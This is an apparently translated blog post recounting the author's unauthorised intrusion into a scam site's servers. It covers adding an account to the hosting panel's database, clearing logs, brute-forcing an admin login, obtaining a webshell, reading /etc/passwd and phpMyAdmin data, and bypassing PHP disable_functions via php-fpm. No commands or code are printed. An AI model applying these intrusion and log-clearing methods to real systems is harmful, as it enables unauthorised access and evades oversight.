Title: Remember the follow-up of the Spinach Site's journey

Summary

The last story said that although the highest authority of the scammer server has been obtained, this is only technical control. If you want to file a case, you need to provide as much information as possible for personnel, such as mobile phones, bank cards, etc. but these have not been collected at present (although I mentioned that there was a bank account in the source code for a certain time, I found that it was just a test account, and Baidu came out of a lot of it.), so I also need to use some additional means to obtain useful information;

Information Collection

Baota Backstage

The first thing that comes to mind is the backend of the Pagoda panel that I have not entered before. There should be some login information and the like, but I did not get the login password, but this did not have much impact, because now I can directly access the Pagoda database file (panel/data/default.db, sqlite database file), so I went in and backed up an account and set a password to prevent the normal account from being squeezed down:

Clean the logs and then log in happily. ㄏ( ▔, ▔ )ㄏ:

The first thing I see is the account name. I think it is the administrator's mobile phone number. If I can't read it completely here, go to the settings and take a look:

Here are the four middle digits with asterisks, which cannot be seen from the source code, but these are also paper tigers, because the review then found that an interface requested data, and the return information was a complete mobile phone number. I searched on WeChat and found this account:

But its authenticity is unknown, and it is probably just a cover, so remember it first;

New Starting Point

When I was about to continue collecting information at some point in the future, I found that my domain name and even IP could no longer be accessed. I tried it in the next few days, and I felt that I was probably running away after harvesting it. Naturally, except for some information, all the permissions I obtained before turned into vain. It was also after that that police actually contacted me (I didn’t drink tea, I am a good citizen $_$). Because I wanted to try my luck again, an interesting thing happened again. The IP before visiting showed this page:

Well, I have to admit that I almost believed the title and icon at that moment, and wasted three seconds to consider the legitimacy of penetrating it. If I think about it carefully, I will know that if it were that bank, how could it put the server on an IP with a criminal record? The content of the page was unreasonable, and then I simply registered an account and logged in:

Vulnerability mining

Port Service

=_=Well, it's a good thing to come. The following analysis also confirms the above guess, which is also a trick to check domain names in IP, because normal tools such as nslookup and dig can only parse from domain names to IP (except for some ptr). However, when encountering such sites that use https, if you do not restrict direct access to IP, you can enter the page normally, and click on the protocol name in the upper left corner of the browser to view the certificate used. The "issued to" value of the normal certificate is the domain name of the site. Obviously not here, it should be a temporary or test certificate:

Then, in turn, analyze the domain name:

Here I found that the IP resolved through public DNS seems to be incompatible with the ones used before. If you think about it carefully, it should be that the CDN service is used. The servers corresponding to these IPs are all three-party institutions that provide services. The penetration is not very meaningful and not easy. Here I am sorry that I enter directly through the source station IP, otherwise it would be another headache to retrieve the source station through the domain name and CDN;

Then, when you have a domain name, scan a wave of subdomains to obtain potential related sites:

There are quite a few. I remember to backup it first, and then analyze it from the return data of the front desk page. I found that this is a Linux server using php. It is different from the previous Windows IIS server. It seems that the domain name is released or resold. So let’s scan the port from the new one:

I still found some familiar figures, and I still ran the password first. According to my past experience, I may have missed the net when I encounter a smart master, so I also need a thoughtful full-port scanning service:

There are indeed some, you can roughly guess what service it is based on the protocol. Try it one by one, and find that one is ssh login and the other is backend of the pagoda:

The pagoda still has login verification, and there is no hope of blasting, so it can only be put aside first;

Backend Directory

Before I could use the directory to blast, I blindly guessed the background path after hitting a few times, which saved me time:

Win-win? What does not exist will only be one-sided ╮(╯＿╰)╭. After a brief analysis of the page, there is no need to use magical tools here for the time being. Just use wfuzz to run a wave of account passwords:

Let’s run on the backstage first and go around other places; after a while, I’ll see the result, Yoxi! Go in and take a look:

Although the sparrow is small and has all the internal organs, there are some interesting things that are expected:

I won’t say the withdrawal. Whether it can be successful depends on the administrator’s mood. It doesn’t matter if the one below is not quite understood. Maybe everyone understands the truth. Anyway, it’s just that. I control your destiny and I control your risks (¬‿¬);

Get webshell

I spent some time later, analyzed the page and found an exploitable vulnerability, and then passed it on to a gadget:

It's time to draw the sword again:

I went up to the directory and found that it was not simple. Some of the previous domain names appeared. Could it be a small site group? It took a while to understand their architecture a little later. Multiple second-level domain names point to the current IP and have several different CDN addresses. Then a second-level domain name points to another server IP. The server of the current IP contains the second-level domain name corresponding to another first-level domain name. These sites are almost sharing the same set of code.=_=It's really complicated. Is it because of business expansion that is not well planned? But it doesn't matter. Just correspond to the server;

Then access the /etc/passwd file to view the user, because this file is accessible to all users in Linux:

All are default accounts. Since they are currently www accounts, they do not have permission to access the /etc/shadow file. This file records the hash value of the passwords of all accounts in the system, so the next step is to raise the authority;

When browsing the system directory, I found the login address of phpMyAdmin. No wonder I didn't scan it out before. It should have been configured in the pagoda to generate a random complex path to verify the access portal:

The account and password are simple, but they can be obtained through certain means. Unfortunately, the other party is not a configured root account, but a sub-account, named after the site, which should be because the server has multiple sites, and the permissions are not high. Log in first and take a look:

It contains some data from the front and backend of the site. First find useful information:

There is a table storage administrator information, um this table name (bulamao). Is it going to test my familiarity with the big Chinese culture again? I have given up. If you know, you can comment. There is a hash value of the password in the table. Please check it first and try your luck:

There is actually a small notebook (there is indeed a basis for entering other sites later);

Small episode

I also found some exquisite gadgets when browsing the directory:

The place is not big and it is quite lively. The opposite side is full of big men and can't afford to offend them. It seems that there are still several groups of people, letting them lie quietly, love and kill each other, I didn't see anything (x_x);

disable_functions Bypass

I was originally planning to open the virtual terminal and happily studied how to increase power, but the lightning strike was opened:

Needless to say, most of the system execution functions are disabled, which is the disable_functions value in the php configuration item, which is used to limit some functions that can execute system commands in the php script. Of course, there are also some vulnerabilities bypass methods. There are many ways to save time, so I won't test them manually one by one, and use the existing integrated plug-in directly:

I feel a little disappointed when I see putenv being disabled. This alone can discourage most bypass methods, but I still have to try it, because there is still a method left to use (php-fpm). By checking the system configuration file, I found that the socket communication method used by the fpm module is configured and then started:

The last prompts are all successful. The dynamic link library file generated by the check was also uploaded successfully, but the terminal was still unable to open. It kept prompting that the return data was empty. At first, it thought that a function used by the plug-in was also disabled by php, resulting in the return being empty, and no other exploitable vulnerabilities were found. For this reason, it was stuck for most of the week. Later, I prepared to check the information and manually implement the utilization method.

In fact, the principle of this method is roughly: php is a dynamic language, but nginx cannot handle these, so there is a fastcgi protocol in the middle that matches the HTTP protocol. nginx converts the received client requests into data in the fastcgi protocol format, and php-fpm in the php module is used to process these fastcgi protocol data, and then pass it to the php interpreter for processing. After completion, the result data is returned to the browser client with the same path as before. Therefore, generally when starting a php program on a Linux server, a service called php-fpm will be started, which will generally listen to the 9000 port of the machine, or socket file, and the nginx configuration file fastcgi access address is also assigned to this port or file. These are all for completing the above communication process;

The available point here is to bypass the request to nginx and communicate directly with the php-fpm service. Ideally, 9000 listens on the external network interface rather than the native interface due to configuration errors. Of course, this situation is very rare, but this does not mean that listening to the local machine cannot be used. Under the premise that the php program file is writable, you can initiate a request to the server's native port 9000 through the curl interface in the program (or stream_socket_client initiates socket file communication requests) through the curl interface, and imitate the fastcgi client to send data in the corresponding format, so that bypass nginx and communicate directly with php-fpm; there is another saying of this operation, called SSRF (Server-Side Request Forgery), that is, the server request forgery, and the server can access intranet resources that the client cannot access normally; of course, there is also a method that is very similar to its name: CSRF (Cross-Site Request Forgery, cross-site request forgery), but this is a steal of login credentials from other clients;

There may be another problem here. After going around like this, I will still pass php-fpm in the end. The function restrictions for this configuration still exist.